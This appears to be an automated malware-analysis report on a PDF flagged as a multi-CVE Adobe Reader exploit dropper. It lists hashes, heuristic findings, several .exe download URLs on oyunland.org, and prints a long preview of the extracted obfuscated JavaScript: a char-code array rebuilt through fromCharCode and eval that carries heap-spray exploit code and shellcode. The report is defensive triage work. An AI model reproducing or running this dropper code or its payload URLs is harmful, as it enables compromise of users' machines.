PDF malware analysis — malicious · e421aa5c26d022bd

MALICIOUS

PDF

75.5 KB Created: 2010-01-04 19:41:63 Authoring application: PDF Library 4.8.8 (via PDF Library 2.9.5) First seen: 2026-05-10

MD5: 542fec52dc28309938013e8eb363f5aa SHA-1: d7ec23b412b40ffdb2832e2c4e20d1c401975ae8 SHA-256: e421aa5c26d022bd1764942f39a1a351901d03c130470212832d54e9f08f1fff

532 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

The PDF exploits multiple CVEs (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) by leveraging embedded JavaScript, as indicated by multiple critical heuristic firings. The embedded JavaScript, identified as 'legacy_pdfkit_stage_000.js', was detected by ClamAV as 'Js.Exploit.Shellcode-18'. This suggests the script is designed to download and execute a second-stage payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://oyunland.org/fragus/bjosvw2.exe Referenced by PDF JavaScript
- http://oyunland.org/fragus/click.php?r=Referenced by PDF JavaScript
- http://oyunland.org/fragus/ajlq2.exeReferenced by PDF JavaScript
- http://oyunland.org/fragus/hknx2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38144 bytes
SHA-256: `f34db74f16d0ae4fa5505d2546830fb5b996e26242a3eb47a3944f982c1ce7bc`
Preview script First 1,000 lines of the extracted script var wnzm="";gruvxy=false;ldzi="";adgjr=false;glux="glux";cgjkou=false;dgnptv='';gilnor="";fjpsy=24115;vazh=false;bcho="";gorux=6247;dlnrt='';var gilo='',mhyvz="",almnv="",degjqt=0,bguv=String,ilpr=bguv['fjrHosm2CjhSaSr2C2ojd2eS'.replace(/[SjHs2]/g,'')],bdflm=String,dwzx=bdflm['ehvgahlM'.replace(/[MG4gh]/g,'')],adijsw="27",ajkq="",dlopy=[63,65,59,157,167,165,149,171,155,166,160,87,152,160,170,150,155,171,90,176,147,169,165,167,94,87,158,156,160,96,173,68,60,64,59,174,154,160,158,156,82,95,171,152,164,170,162,101,158,156,160,158,166,159,82,97,82,105,82,115,82,163,151,165,91,178,63,65,59,64,59,176,147,169,165,167,82,98,111,87,171,152,164,170,162,114,63,65,59,64,175,68,60,64,59,176,147,169,165,167,82,116,82,176,147,169,165,167,96,170,167,153,165,171,164,160,160,158,90,103,94,87,158,156,160,102,100,96,109,68,60,64,59,169,151,171,167,169,160,87,171,152,164,170,162,114,63,65,59,180,63,65,63,65,59,157,167,165,149,171,155,166,160,87,167,171,155,163,145,167,164,160,160,171,152,95,91,178,63,65,59,64,168,152,164,87,162,152,171,163,161,152,150,87,111,87,167,165,151,170,149,152,162,156,90,89,87,172,119,121,119,112,87,172,98,103,98,104,87,172,103,109,98,103,87,172,115,104,104,107,87,172,98,103,101,103,87,172,98,103,98,103,87,172,102,103,106,121,87,172,106,121,98,122,87,172,99,122,105,103,87,172,106,121,115,123,87,172,98,111,102,103,87,172,117,106,103,124,87,172,106,121,103,108,87,172,106,121,119,122,87,172,98,111,102,108,87,172,101,106,103,105,87,172,117,104,118,105,87,172,98,106,117,105,87,172,99,103,101,105,87,172,106,103,102,103,87,172,98,103,101,111,87,172,120,108,105,108,87,172,117,105,106,121,87,172,103,123,103,120,87,172,98,107,117,105,87,172,103,108,98,103,87,172,119,122,106,121,87,172,103,104,103,104,87,172,103,109,103,106,87,172,104,103,103,110,87,172,103,123,106,121,87,172,101,106,98,111,87,172,106,121,117,103,87,172,98,122,105,108,87,172,120,124,106,121,87,172,105,109,98,106,87,172,106,121,101,122,87,172,105,111,102,124,87,172,117,125,98,106,87,172,103,104,106,121,87,172,103,105,99,122,87,172,103,104,106,121,87,172,103,105,100,107,87,172,105,104,106,121,87,172,102,124,99,107,87,172,105,108,106,112,87,172,106,121,120,122,87,172,100,103,105,104,87,172,120,110,98,106,87,172,102,120,107,112,87,172,102,105,115,123,87,172,101,121,104,103,87,172,120,122,103,108,87,172,98,107,105,108,87,172,117,103,101,106,87,172,101,110,119,121,87,172,120,125,101,106,87,172,102,108,98,106,87,172,107,110,98,122,87,172,117,125,106,121,87,172,105,108,115,124,87,172,100,121,120,123,87,172,102,125,120,112,87,172,119,111,103,104,87,172,120,125,107,107,87,172,120,125,120,125,87,172,117,106,101,121,87,172,105,107,104,104,87,172,119,121,98,105,87,172,106,121,118,112,87,172,98,122,102,108,87,172,103,124,107,105,87,172,120,105,98,106,87,172,119,103,118,104,87,172,117,109,98,106,87,172,117,112,101,106,87,172,116,110,98,125,87,172,103,125,98,111,87,172,119,104,117,104,87,172,98,106,98,105,87,172,98,106,117,120,87,172,106,121,117,125,87,172,98,106,98,104,87,172,106,112,117,105,87,172,120,111,102,108,87,172,106,121,104,104,87,172,120,111,102,108,87,172,103,124,103,125,87,172,117,112,103,121,87,172,103,108,117,106,87,172,119,122,106,121,87,172,119,111,103,104,87,172,120,125,102,112,87,172,120,125,120,125,87,172,104,111,103,103,87,172,104,103,119,111,87,172,98,107,116,125,87,172,104,122,119,111,87,172,120,125,120,125,87,172,101,106,120,125,87,172,103,105,118,105,87,172,120,125,103,105,87,172,98,111,105,108,87,172,118,103,120,125,87,172,102,108,106,112,87,172,106,121,120,122,87,172,120,122,102,108,87,172,117,106,117,112,87,172,106,121,103,108,87,172,106,106,119,122,87,172,98,122,119,122,87,172,102,108,106,123,87,172,103,103,120,107,87,172,102,108,117,109,87,172,105,108,120,107,87,172,102,108,117,109,87,172,105,105,120,108,87,172,102,108,117,109,87,172,104,122,120,109,87,172,102,108,117,109,87,172,104,123,120,110,87,172,102,108,117,109,87,172,104,125,120,111,87,172,102,108,117,109,87,172,104,124,120,112,87,172,102,108,117,109,87,172,100,124,120,120,87,172,102,108,117,109,87,172,104,107,120,121,87,172,102,108,117,109,87,172,104,122,120,122,87,172,102,108,117,109,87,172,104,122,120,123,87,172,102,108,117,109,87,172,98,103,120,124,87,172,115,103,119,111,87,172,120,125,120,125,87,172,103,103,120,125,87,172,103,123,104,111,87,172,99,104,106,120,87,172,119,111,99,109,87,172,120,125,99,108,87,172,120,125,120,125,87,172,117,107,106,106,87,172,106,108,98,122,87,172,105,107,117,103,87,172,104,120,99,108,87,172,104,120,98,103,87,172,120,125,98,103,87,172,98,122,105,108,87,172,105,108,120,125,87,172,104,120,98,111,87,172,120,125,98,103,87,172,106,108,118,103,87,172,105,108,117,103,87,172,102,103,98,106,87,172,117,106,117,112,87,172,117,103,101,106,87,172,117,106,117,112,87,172,101,106,103,110,87,172,106,121,117,103,87,172,100,107,102,122,87,172,106,121,98,122,87,172,100,107,105,122,87,172,120,122,98,111,87,172,115,120,120,106,87,172,117,106,103,125,87,172,102,122,106,121,87,172,98,107,100,107,87,172,101,112,106,103,87,172,106,121,98,103,87,172,105,107,117,104,87,172,102,103,98,109,87,172,101,111,106,103,87,172,105,108,98,103,87,172,100,121,120,120,87,172,117,106,117,104,87,172,106,121,103,108,87,172,106,106,119,122,87,172,104,107,119,122,87,172,106,123,103,106,87,172,120,103,102,108,87,172,101,106,103,110,87,172,103,103,118,121,87,172,102,108,117,109,87,172,104,121,120,103,87,172,102,108,117,109,87,172,104,108,120,104,87,172,102,108,117,109,87,172,105,105,120,105,87,172,102,108,117,109,87,172,104,124,120,106,87,172,102,108,117,109,87,172,104,108,120,107,87,172,102,108,117,109,87,172,104,122,120,108,87,172,102,108,117,109,87,172,101,106,120,109,87,172,102,108,117,109,87,172,101,105,120,110,87,172,102,108,117,109,87,172,100,124,120,111,87,172,102,108,117,109,87,172,104,107,120,112,87,172,102,108,117,109,87,172,104,122,120,120,87,172,102,108,117,109,87,172,104,122,120,121,87,172,103,123,106,111,87,172,119,111,120,122,87,172,120,125,98,121,87,172,120,125,120,125,87,172,104,111,103,103,87,172,102,106,104,111,87,172,106,124,120,112,87,172,106,103,119,111,87,172,120,125,120,124,87,172,106,121,120,125,87,172,106,123,120,111,87,172,107,122,102,108,87,172,102,107,104,120,87,172,119,111,103,103,87,172,120,125,105,124,87,172,120,125,120,125,87,172,102,108,106,123,87,172,104,120,119,103,87,172,103,103,99,103,87,172,105,106,119,111,87,172,120,125,120,125,87,172,106,106,120,125,87,172,99,122,117,107,87,172,102,108,106,123,87,172,103,103,119,103,87,172,102,108,106,123,87,172,103,103,107,122,87,172,103,106,103,106,87,172,103,106,103,106,87,172,103,106,103,106,87,172,105,108,120,125,87,172,117,110,98,111,87,172,107,122,102,108,87,172,98,103,102,107,87,172,98,103,98,103,87,172,120,125,103,106,87,172,103,125,118,110,87,172,116,109,98,125,87,172,103,121,117,103,87,172,117,106,117,112,87,172,106,121,103,108,87,172,103,104,119,122,87,172,103,106,103,104,87,172,103,110,103,109,87,172,102,105,104,120,87,172,105,105,119,111,87,172,98,103,98,103,87,172,106,121,98,103,87,172,101,106,118,111,87,172,106,108,120,109,87,172,103,112,118,121,87,172,102,108,117,110,87,172,104,104,120,111,87,172,104,108,100,124,87,172,117,110,105,111,87,172,120,122,102,108,87,172,98,103,104,108,87,172,98,103,98,103,87,172,103,109,105,124,87,172,102,108,106,123,87,172,103,103,120,111,87,172,119,111,103,109,87,172,98,103,103,104,87,172,98,103,98,103,87,172,103,103,103,112,87,172,116,104,119,111,87,172,120,125,120,124,87,172,106,108,120,125,87,172,103,112,117,103,87,172,105,107,103,112,87,172,106,123,101,112,87,172,98,104,102,109,87,172,119,111,103,103,87,172,98,103,101,121,87,172,98,103,98,103,87,172,120,111,106,121,87,172,102,108,106,123,87,172,103,103,120,111,87,172,100,104,119,111,87,172,120,125,120,125,87,172,106,108,120,125,87,172,103,112,117,103,87,172,105,107,103,112,87,172,103,110,98,122,87,172,98,104,119,111,87,172,120,125,120,125,87,172,103,112,120,125,87,172,102,107,117,109,87,172,120,125,101,111,87,172,103,103,105,106,87,172,102,108,106,123,87,172,120,124,120,111,87,172,103,111,98,103,87,172,102,108,106,123,87,172,103,103,120,111,87,172,119,111,103,110,87,172,120,124,105,107,87,172,120,125,120,125,87,172,103,112,103,112,87,172,102,109,102,109,87,172,120,106,101,121,87,172,115,120,105,122,87,172,103,124,103,125,87,172,117,112,103,121,87,172,103,108,117,106,87,172,119,122,106,121,87,172,103,106,103,104,87,172,104,103,104,109,87,172,101,105,116,104,87,172,98,103,119,111,87,172,98,103,98,103,87,172,103,111,98,103,87,172,98,111,101,111,87,172,98,106,105,107,87,172,119,121,102,103,87,172,102,103,120,112,87,172,103,123,106,121,87,172,106,103,98,111,87,172,102,105,120,121,87,172,98,111,105,108,87,172,118,121,101,106,87,172,99,111,106,120,87,172,117,106,106,121,87,172,99,110,119,121,87,172,99,111,101,111,87,172,99,104,105,109,87,172,101,106,102,103,87,172,106,107,117,112,87,172,105,107,118,121,87,172,102,103,98,122,87,172,98,111,101,111,87,172,120,121,105,108,87,172,120,124,102,103,87,172,119,121,117,121,87,172,101,106,120,105,87,172,106,112,117,103,87,172,120,122,102,108,87,172,102,108,106,121,87,172,103,121,120,122,87,172,117,106,117,112,87,172,98,105,101,105,87,172,105,107,104,111,87,172,105,103,105,107,87,172,100,125,101,120,87,172,104,125,100,125,87,172,105,108,105,112,87,172,104,122,104,124,87,172,104,124,104,104,87,172,100,124,104,107,87,172,105,105,104,125,87,172,100,125,104,110,87,172,105,105,104,109,87,172,104,110,104,104,87,172,105,106,105,108,87,172,104,105,100,125,87,172,104,125,104,120,87,172,105,109,105,106,87,172,101,105,105,110,87,172,104,108,100,124,87,172,104,108,105,111,87,172,104,111,98,103,87,172,105,107,105,107,87,172,101,120,105,103,87,172,100,125,100,125,87,172,105,112,104,125,87,172,104,124,105,108,87,172,104,104,104,122,87,172,104,107,104,124,87,172,104,125,100,124,87,172,104,110,105,105,87,172,104,109,100,125,87,172,104,104,105,105,87,172,105,108,104,110,87,172,100,125,105,106,87,172,104,122,104,106,87,172,104,106,104,112,87,172,100,124,104,121,87,172,104,111,105,103,87,172,101,125,105,103,87,172,101,123,105,105,87,172,98,103,98,103,84,96,109,68,60,64,59,173,147,169,82,165,161,167,82,116,82,172,160,156,165,154,147,167,151,95,84,92,167,103,115,103,115,92,167,103,115,103,115,92,167,103,115,103,115,92,167,103,115,103,115,89,91,68,60,64,59,173,147,169,82,159,151,152,162,153,158,166,149,162,82,116,82,165,161,167,82,98,82,167,147,176,158,166,147,155,109,68,60,64,59,173,147,169,82,153,155,158,148,163,161,154,157,87,111,87,167,165,151,170,149,152,162,156,90,89,87,172,98,120,98,120,87,172,98,120,98,120,84,96,109,68,60,64,59,173,147,169,82,159,151,152,150,156,164,170,155,177,151,87,111,87,100,103,109,68,60,64,59,173,147,169,82,170,162,169,147,176,82,116,82,159,151,152,150,156,164,170,155,177,151,87,93,87,154,156,147,167,148,163,161,154,157,101,158,156,160,158,166,159,109,68,60,64,59,174,154,160,158,156,82,95,148,160,153,153,158,166,149,162,96,163,151,165,153,171,154,87,110,87,165,167,164,152,171,96,173,68,60,64,59,64,148,160,153,153,158,166,149,162,82,98,111,87,148,160,153,153,158,166,149,162,109,68,60,64,59,180,63,65,59,64,168,152,164,87,152,160,158,163,148,163,161,154,157,87,111,87,148,160,153,153,158,166,149,162,96,170,167,153,165,171,164,160,160,158,90,103,94,87,165,167,164,152,171,96,109,68,60,64,59,173,147,169,82,153,158,166,149,162,82,116,82,153,155,158,148,163,161,154,157,101,165,172,148,170,166,169,155,165,153,95,98,99,82,153,155,158,148,163,161,154,157,101,158,156,160,158,166,159,95,170,162,169,147,176,91,114,63,65,59,64,169,159,155,163,151,87,90,153,158,166,149,162,96,163,151,165,153,171,154,98,165,167,164,152,171,87,110,87,98,175,102,103,98,103,98,96,173,68,60,64,59,64,148,163,161,154,157,87,111,87,148,163,161,154,157,87,93,87,148,163,161,154,157,87,93,87,152,160,158,163,148,163,161,154,157,114,63,65,59,64,175,68,60,64,59,173,147,169,82,164,151,164,145,152,164,169,147,176,82,116,82,165,151,174,82,120,164,169,147,176,90,96,109,68,60,64,59,157,161,169,82,95,168,152,164,87,155,87,111,87,98,114,82,160,82,115,82,104,102,103,98,114,82,160,93,98,91,178,63,65,59,64,59,164,151,164,145,152,164,169,147,176,141,160,143,87,111,87,148,163,161,154,157,87,93,87,154,156,147,167,148,163,161,154,157,114,63,65,59,64,175,68,60,64,59,173,147,169,82,165,167,164,82,116,82,104,100,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,112,107,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,111,106,114,63,65,59,64,167,171,155,163,96,167,164,160,160,171,152,95,84,92,102,108,98,103,98,157,84,99,82,165,167,164,91,114,63,65,59,180,63,65,63,65,59,157,167,165,149,171,155,166,160,87,149,166,158,163,147,153,145,156,159,152,155,163,90,96,173,68,60,64,59,173,147,169,82,170,154,156,158,163,149,166,150,156,82,116,82,172,160,156,165,154,147,167,151,95,84,92,167,124,116,124,107,92,167,103,98,103,99,92,167,108,104,103,98,92,167,120,99,109,102,92,167,103,98,106,98,92,167,103,98,103,98,92,167,107,98,111,116,92,167,111,116,103,117,92,167,104,117,110,98,92,167,111,116,120,118,92,167,103,106,107,98,92,167,122,101,108,119,92,167,111,116,108,103,92,167,111,116,124,117,92,167,103,106,107,103,92,167,106,101,108,100,92,167,122,99,123,100,92,167,103,101,122,100,92,167,104,98,106,100,92,167,111,98,107,98,92,167,103,98,106,106,92,167,125,103,110,103,92,167,122,100,111,116,92,167,108,118,108,115,92,167,103,102,122,100,92,167,108,103,103,98,92,167,124,117,111,116,92,167,108,99,108,99,92,167,108,104,108,101,92,167,109,98,108,105,92,167,108,118,111,116,92,167,106,101,103,106,92,167,111,116,122,98,92,167,103,117,110,103,92,167,125,119,111,116,92,167,110,104,103,101,92,167,111,116,106,117,92,167,110,106,107,119,92,167,122,120,103,101,92,167,108,99,111,116,92,167,108,100,104,117,92,167,108,99,111,116,92,167,108,100,105,102,92,167,110,99,111,116,92,167,107,119,104,102,92,167,110,103,111,107,92,167,111,116,125,117,92,167,105,98,110,99,92,167,125,105,103,101,92,167,107,115,112,107,92,167,107,100,120,118,92,167,106,116,109,98,92,167,125,117,108,103,92,167,103,102,110,103,92,167,122,98,106,101,92,167,106,105,124,116,92,167,125,120,106,101,92,167,107,103,103,101,92,167,112,105,103,117,92,167,122,120,111,116,92,167,110,103,120,119,92,167,105,116,125,118,92,167,107,120,125,107,92,167,124,106,108,99,92,167,125,120,112,102,92,167,125,120,125,120,92,167,122,101,106,116,92,167,110,102,109,99,92,167,124,116,103,100,92,167,111,116,123,107,92,167,103,117,107,103,92,167,108,119,112,100,92,167,125,100,103,101,92,167,124,98,123,99,92,167,122,104,103,101,92,167,122,107,106,101,92,167,121,105,103,120,92,167,108,120,103,106,92,167,124,99,122,99,92,167,103,101,103,100,92,167,103,101,122,115,92,167,111,116,122,120,92,167,103,101,103,99,92,167,111,107,122,100,92,167,125,106,107,103,92,167,111,116,109,99,92,167,125,106,107,103,92,167,108,119,108,120,92,167,122,107,108,116,92,167,108,103,122,101,92,167,124,117,111,116,92,167,124,106,108,99,92,167,125,120,107,107,92,167,125,120,125,120,92,167,109,106,108,98,92,167,109,98,124,106,92,167,103,102,121,120,92,167,109,117,124,106,92,167,125,120,125,120,92,167,106,101,125,120,92,167,108,100,123,100,92,167,125,120,108,100,92,167,103,106,110,103,92,167,123,98,125,120,92,167,107,103,111,107,92,167,111,116,125,117,92,167,125,117,107,103,92,167,122,101,122,107,92,167,111,116,108,103,92,167,111,101,124,117,92,167,103,117,124,117,92,167,107,103,111,118,92,167,108,98,125,102,92,167,107,103,122,104,92,167,110,103,125,102,92,167,107,103,122,104,92,167,110,100,125,103,92,167,107,103,122,104,92,167,109,117,125,104,92,167,107,103,122,104,92,167,109,118,125,105,92,167,107,103,122,104,92,167,109,120,125,106,92,167,107,103,122,104,92,167,109,119,125,107,92,167,107,103,122,104,92,167,105,119,125,115,92,167,107,103,122,104,92,167,109,102,125,116,92,167,107,103,122,104,92,167,109,117,125,117,92,167,107,103,122,104,92,167,109,117,125,118,92,167,107,103,122,104,92,167,103,98,125,119,92,167,120,98,124,106,92,167,125,120,125,120,92,167,108,98,125,120,92,167,108,118,109,106,92,167,104,99,111,115,92,167,124,106,104,104,92,167,125,120,104,103,92,167,125,120,125,120,92,167,122,102,111,101,92,167,111,103,103,117,92,167,110,102,122,98,92,167,109,115,104,103,92,167,109,115,103,98,92,167,125,120,103,98,92,167,103,117,110,103,92,167,110,103,125,120,92,167,109,115,103,106,92,167,125,120,103,98,92,167,111,103,123,98,92,167,110,103,122,98,92,167,107,98,103,101,92,167,122,101,122,107,92,167,122,98,106,101,92,167,122,101,122,107,92,167,106,101,108,105,92,167,111,116,122,98,92,167,105,102,107,117,92,167,111,116,103,117,92,167,105,102,110,117,92,167,125,117,103,106,92,167,120,115,125,101,92,167,122,101,108,120,92,167,107,117,111,116,92,167,103,102,105,102,92,167,106,107,111,98,92,167,111,116,103,98,92,167,110,102,122,99,92,167,107,98,103,104,92,167,106,106,111,98,92,167,110,103,103,98,92,167,105,116,125,115,92,167,122,101,122,99,92,167,111,116,108,103,92,167,111,101,124,117,92,167,109,102,124,117,92,167,111,118,108,101,92,167,125,98,107,103,92,167,106,101,108,105,92,167,108,98,123,116,92,167,107,103,122,104,92,167,109,116,125,98,92,167,107,103,122,104,92,167,109,103,125,99,92,167,107,103,122,104,92,167,110,100,125,100,92,167,107,103,122,104,92,167,109,119,125,101,92,167,107,103,122,104,92,167,109,103,125,102,92,167,107,103,122,104,92,167,109,117,125,103,92,167,107,103,122,104,92,167,106,101,125,104,92,167,107,103,122,104,92,167,106,100,125,105,92,167,107,103,122,104,92,167,105,119,125,106,92,167,107,103,122,104,92,167,109,102,125,107,92,167,107,103,122,104,92,167,109,117,125,115,92,167,107,103,122,104,92,167,109,117,125,116,92,167,108,118,111,106,92,167,124,106,125,117,92,167,125,120,103,116,92,167,125,120,125,120,92,167,109,106,108,98,92,167,107,101,109,106,92,167,111,119,125,107,92,167,111,98,124,106,92,167,125,120,125,119,92,167,111,116,125,120,92,167,111,118,125,106,92,167,112,117,107,103,92,167,107,102,109,115,92,167,124,106,108,98,92,167,125,120,110,119,92,167,125,120,125,120,92,167,107,103,111,118,92,167,109,115,124,98,92,167,108,98,104,98,92,167,110,101,124,106,92,167,125,120,125,120,92,167,111,101,125,120,92,167,104,117,122,102,92,167,107,103,111,118,92,167,108,98,124,98,92,167,107,103,111,118,92,167,108,98,112,117,92,167,108,101,108,101,92,167,108,101,108,101,92,167,108,101,108,101,92,167,110,103,125,120,92,167,122,105,103,106,92,167,112,117,107,103,92,167,103,98,107,102,92,167,103,98,103,98,92,167,125,120,108,101,92,167,108,120,123,105,92,167,121,104,103,120,92,167,108,116,122,98,92,167,122,101,122,107,92,167,111,116,108,103,92,167,108,99,124,117,92,167,108,101,108,99,92,167,108,105,108,104,92,167,107,100,109,115,92,167,110,100,124,106,92,167,103,98,103,98,92,167,111,116,103,98,92,167,106,101,123,106,92,167,111,103,125,104,92,167,108,107,123,116,92,167,107,103,122,105,92,167,109,99,125,106,92,167,109,103,105,119,92,167,122,105,110,106,92,167,125,117,107,103,92,167,103,98,109,103,92,167,103,98,103,98,92,167,108,104,110,119,92,167,107,103,111,118,92,167,108,98,125,106,92,167,124,106,108,104,92,167,103,98,108,99,92,167,103,98,103,98,92,167,108,98,108,107,92,167,121,99,124,106,92,167,125,120,125,119,92,167,111,103,125,120,92,167,108,107,122,98,92,167,110,102,108,107,92,167,111,118,106,107,92,167,103,99,107,104,92,167,124,106,108,98,92,167,103,98,106,116,92,167,103,98,103,98,92,167,125,106,111,116,92,167,107,103,111,118,92,167,108,98,125,106,92,167,105,99,124,106,92,167,125,120,125,120,92,167,111,103,125,120,92,167,108,107,122,98,92,167,110,102,108,107,92,167,108,105,103,117,92,167,103,99,124,106,92,167,125,120,125,120,92,167,108,107,125,120,92,167,107,102,122,104,92,167,125,120,106,106,92,167,108,98,110,101,92,167,107,103,111,118,92,167,125,119,125,106,92,167,108,106,103,98,92,167,107,103,111,118,92,167,108,98,125,106,92,167,124,106,108,105,92,167,125,119,110,102,92,167,125,120,125,120,92,167,108,107,108,107,92,167,107,104,107,104,92,167,125,101,106,116,92,167,120,115,110,117,92,167,108,119,108,120,92,167,122,107,108,116,92,167,108,103,122,101,92,167,124,117,111,116,92,167,108,101,108,99,92,167,109,98,109,104,92,167,106,100,121,99,92,167,103,98,124,106,92,167,103,98,103,98,92,167,108,106,103,98,92,167,103,106,106,106,92,167,103,101,110,102,92,167,124,116,107,98,92,167,107,98,125,107,92,167,108,118,111,116,92,167,111,98,103,106,92,167,107,100,125,116,92,167,103,106,110,103,92,167,123,116,106,101,92,167,104,106,111,115,92,167,122,101,111,116,92,167,104,105,124,116,92,167,104,106,106,106,92,167,104,99,110,104,92,167,106,101,107,98,92,167,111,102,122,107,92,167,110,102,123,116,92,167,107,98,103,117,92,167,103,106,106,106,92,167,125,116,110,103,92,167,125,119,107,98,92,167,124,116,122,116,92,167,106,101,125,100,92,167,111,107,122,98,92,167,125,117,107,103,92,167,107,103,111,116,92,167,108,116,125,117,92,167,122,101,122,107,92,167,103,100,106,100,92,167,110,102,109,106,92,167,110,98,110,102,92,167,105,120,106,115,92,167,109,120,105,120,92,167,110,103,110,107,92,167,109,117,109,119,92,167,109,119,109,99,92,167,105,119,109,102,92,167,110,100,109,120,92,167,105,120,109,105,92,167,110,100,109,104,92,167,109,105,109,99,92,167,110,101,110,103,92,167,109,99,105,120,92,167,109,117,109,115,92,167,106,100,110,99,92,167,109,103,105,119,92,167,109,103,110,106,92,167,109,106,103,98,92,167,110,102,110,102,92,167,106,115,110,98,92,167,105,120,105,120,92,167,110,107,109,120,92,167,109,119,110,103,92,167,109,99,109,117,92,167,109,102,109,119,92,167,109,120,105,119,92,167,109,105,110,100,92,167,109,104,105,120,92,167,109,99,110,100,92,167,110,103,109,105,92,167,105,120,110,101,92,167,109,117,109,101,92,167,109,101,109,107,92,167,105,119,109,116,92,167,109,106,110,98,92,167,106,120,110,98,92,167,106,118,110,100,92,167,103,98,103,98,89,91,114,63,65,59,64,168,152,164,87,159,156,159,150,147,169,164,152,171,87,111,87,160,156,169,87,115,169,164,152,171,95,91,114,63,65,59,64,168,152,164,87,149,154,82,116,82,103,170,103,149,103,149,103,149,103,149,114,63,65,59,64,168,152,164,87,147,155,150,169,82,116,82,103,170,107,98,103,98,103,98,114,63,65,59,64,168,152,164,87,165,154,145,163,151,165,82,116,82,170,154,156,158,163,149,166,150,156,96,163,151,165,153,171,154,87,92,87,100,114,63,65,59,64,168,152,164,87,158,156,160,87,111,87,147,155,150,169,82,100,82,95,165,154,145,163,151,165,93,103,170,106,106,96,109,68,60,64,59,173,147,169,82,176,147,169,165,167,82,116,82,172,160,156,165,154,147,167,151,95,84,92,167,112,98,112,98,92,167,112,98,112,98,89,91,114,63,65,59,64,171,152,164,170,162,87,111,87,152,160,170,150,155,171,90,176,147,169,165,167,94,87,158,156,160,96,109,68,60,64,59,173,147,169,82,154,161,172,160,171,100,87,111,87,90,154,149,87,95,87,98,175,102,103,98,103,98,103,91,102,147,155,150,169,109,68,60,64,59,157,161,169,82,95,168,152,164,87,149,166,167,165,166,87,111,87,98,114,82,154,161,172,160,171,82,115,82,154,161,172,160,171,100,1